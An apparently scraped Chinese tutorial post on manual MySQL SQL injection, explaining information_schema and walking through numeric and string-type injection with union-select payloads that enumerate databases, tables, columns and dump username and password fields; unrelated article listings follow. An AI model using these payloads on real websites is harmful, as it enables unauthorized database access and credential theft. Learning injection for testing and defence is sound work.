SQL注入的简单认识
写在前面
MYSQL5.0之后的版本,默认在数据库中存放一个information_schema的数据库,其中应该记住里面的三个表SCHEMATA、TABLES、COLUMNS
SCHEMATA表:存储该用户创建的所有数据库的库名,该表中记录数据库名的字段名为:SCHEMA_NAME
TABLES表:存储该用户创建的所有数据库的库名和表名,该表中记录数据库库名和表名的宇段名分别为:TABLE SCHEMA和TABLE_NAME
COLUMNS表:存储该用户创建的所有数据库的库名、表名和字段名,该表中记录数据库库名、表名和宇段名的字段名为:TABLE SCHEMA、 TABLE NAME和COLUMN NAME
几个函数
database():当前网站使用的数据库
version():当前MySQL的版本
user():当前MySQL的用户
concat():将多个字符串连接成一个字符串(语法:concat(str1, str2,...))
group_concat():将group by产生的同一个分组中的值连接起来,返回一个字符串结果
几种查询
操作系统信息:
select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 -- 返回正常说明为root
什么是SQL注入
应用程序在向后台数据库传递SQL(结构化查询语句)查询时,如果为攻击者提供了影响该查询的功能,就会引发SQL注入。攻击者通过影响传递给数据库的内容来修改SQL自身的语法和功能,并且会影响SQL所支持数据库和操作系统的功能和灵活性。
可结合试题案例加以理解:https://ne2ha.top/passages/SQLi-Labs-Practice/
数字型注入
即输入的参数为数字型
- 测试是否存在注入点
以一条SQL查询语句为例:
select * from users where id = 1
上面是正常的一条语句,但是如果攻击者通过构造:id=1',执行下面的语句:
select * from users where id = 1'
这样的SQL语句是错误的,所以执行SQL查询就会报错,返回异常
接着构造:
select * from users where id = 1 and 1=1
SQL语句正常执行,返回正确
然后:
select * from users where id = 1 and 1=2
语句正常执行,但1=2为恒假条件,无法查询出结果,返回异常
满足上面的3点,大概就可以判断存在数字型注入
- 判断字段数
select * from users where id = 1 order by <数字> -- 后面直接加数字,多个字段排序
比如URL:http://example.com/?id=1 存在数字型输入
构造一:http://example.com/?id=1 order by 9--+ 返回错误
构造二:http://example.com/?id=1 order by 8--+ 返回正确
所以可以得到字段数为8
- 查找可显示的字段
http://example.com/?id=1 and 1=2 union select 1,2,3,4,5,6,7,8--+
- 收集信息(假设第6个可以显示数据)
and 1=2 union select 1,2,3,4,5,concat(user(),0x3a,database(),0x3a,version()),7,8-–+
查询当前使用的用户以及数据库名字和版本
- 查询所有数据库名
and 1=2 union select 1,2,3,4,5,concat(group_concat(distinct+schema_name)),7,8 from information_schema.schemata--+
- 爆表
and 1=2 union select 1,2,3,4,5,concat(group_concat(distinct+table_name)),7,8 from information_schema.tables where table_schema=0x<数据库名的十六进制>--+
- 爆字段
and 1=2 union select 1,2,3,4,5,concat(group_concat(distinct+column_name)),7,8 from information_schema.columns where table_name=0x<字段的十六进制>--+
- 爆字段内容
and 1 =2 union select 1,2,3,4,5,concat(id,0x3a,username,0x3a,password),7,8 from <表名> limit 0,1–-+
说明:id,username,password均假设是上述获取到的字段名,0x3a表示感叹号,具体按实际情况来
字符型注入
即输入的参数为字符型,于数字型的区别在于字符型的参数需要单引号闭合
select * from users where username = 'admin'
- 测试是否存在注入点
加单引号,执行语句
select * from users where username = 'admin''
语句无法执行,返回异常
加上'and 1=1,执行语句
select * from users where username = 'admin' and 1=1'
语句同样是错误的,注释掉后面的单引号
select * from users where username = 'admin' and 1=1-- '
返回结果正常
接着构造:
select * from users where username = 'admin' and 1=2-- '
返回异常
满足上面3点,大概可以判断存在字符型注入
参考
《SQL注入攻击防御》(第二版)
《Web安全攻防:渗透测试实战指南》
https://www.lstazl.com/mysql数字型手工注入/
https://www.cnblogs.com/aq-ry/p/9368619.html
SQL注入的简单认识的更多相关文章
- 【sql注入】简单实现二次注入
[sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 1 ...
- 防止sql注入(简单)
(1)mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count ...
- php 防止sql注入的简单方法
您可以使用PHP的功能,如函数stripslashes()和addslashes(),mysql_real_escape_string()等,使安全的SQL查询. 以下是安全的SQL语句,使用PHP ...
- SQL注入攻防入门详解
=============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...
- SQL注入攻防入门详解(2)
SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...
- 转!! PreparedStatement是如何防止SQL注入的
SQL注入最简单也是最常见的例子就是用户登陆这一模块,如果用户对SQL有一定的了解,同时系统并没有做防止SQL注入处理,用户可以在输入的时候加上'两个冒号作为特殊字符,这样的话会让计算机认为他输入的是 ...
- [转]SQL注入攻防入门详解
原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...
- 仿5173游戏交易平台系统SQL注入(可直接脱裤)+Getshell
最近没事登登好几年前玩过的游戏看看,发现有人喊高价收号,这一看就是骗子,这等骗子还想骗我?我就来看看这逗逼是怎么骗人的,结果发现这人给了一个说是 5173平台交易的网站,叫我直接把号的信息填上去然后填 ...
- SQL注入攻击和防御
部分整理... 什么是SQL注入? 简单的例子, 对于一个购物网站,可以允许搜索,price小于某值的商品 这个值用户是可以输入的,比如,100 但是对于用户,如果输入,100' OR '1'=' ...
随机推荐
- springboot参数校验
为了能够进行嵌套验证,必须手动在Item实体的props字段上明确指出这个字段里面的实体也要进行验证.由于@Validated不能用在成员属性(字段)上,但是@Valid能加在成员属性(字段)上,而且 ...
- DHCP原理
一台主机的ip地址可用通过两种方式来设置.1 手动输入:2 自动向DHCP服务器获取.手动输入会出现错误,比如输入一个已经分配的ip地址,当内网机器只有几台,十几台还可以忍受,如果是几百台呢,不可能一 ...
- 16/8/23-jQuery子调用匿名函数
通过创建一个自调用匿名函数,创建一个特殊的函数作用域,该作用域中的代码不会和已有的同名函数.方法和变量以及第三方库冲突. 自调用匿名函数写法 方法一: (function(){ //... })(); ...
- PHP防采集方法代码
<?php /** * FileName:test.php * Summary: 防采集 */ $HTTP_REFERER = $_SERVER["HTTP_REFERER" ...
- 把Notepad++的tab设置为四个空格
在7.1版本以及以后 设置->首选项->Language 勾选Repalce by space 在7.1版本以前 设置->首选项->制表符设置 右侧,转为空格,勾选上 参考: ...
- 【OpenGL】---认识CubeTexture
一.OpenGL Cube Texture 立方体纹理 立方体纹理是一种特殊的纹理技术,他用6幅二维贴图构成一个以原点为中心的纹理立方体.对于每个片段,纹理坐标(s,t,r)被当做三维向量看待,每个纹 ...
- Convolutional Neural Networks(1): Architecture
Concolutional Neural Networks(CNN)同样使用三层结构,但结构上同Feedforward Neural Network有很大不同,其结构如下图: Input layer: ...
- Linux服务正常启动,Linux服务器能访问,但是外部机器不能访问
公司用到了jenkins,就在自己虚拟机里面部署了一个jenkins.部署成功之后,在Linux虚拟机里面能正常访问,但是外部真实机却不能访问.当时的第一反应就是觉得应该是权限问题,猜测会不会是jen ...
- python学习二十四天函数参数之默认参数
函数参数就是向函数传递参数,可以传递一个,可以是更多个,有的参数有值,有的没有,函数可以设置默认参数,默认参数必须放参数最后面. 1,不传递参数,设置默认参数 def hello(a,b,c='123 ...
- POJ 1438 One-way Traffic (混合图+边双连通)
<题目链接> 题目大意: 给定一个混合图,问你在能够使得图中所有点能够两两到达的情况下,尽可能多的将无向边变成有向边,输出这些无向边的变化方案. 解题分析:这与之前做过的这道题非常类似 P ...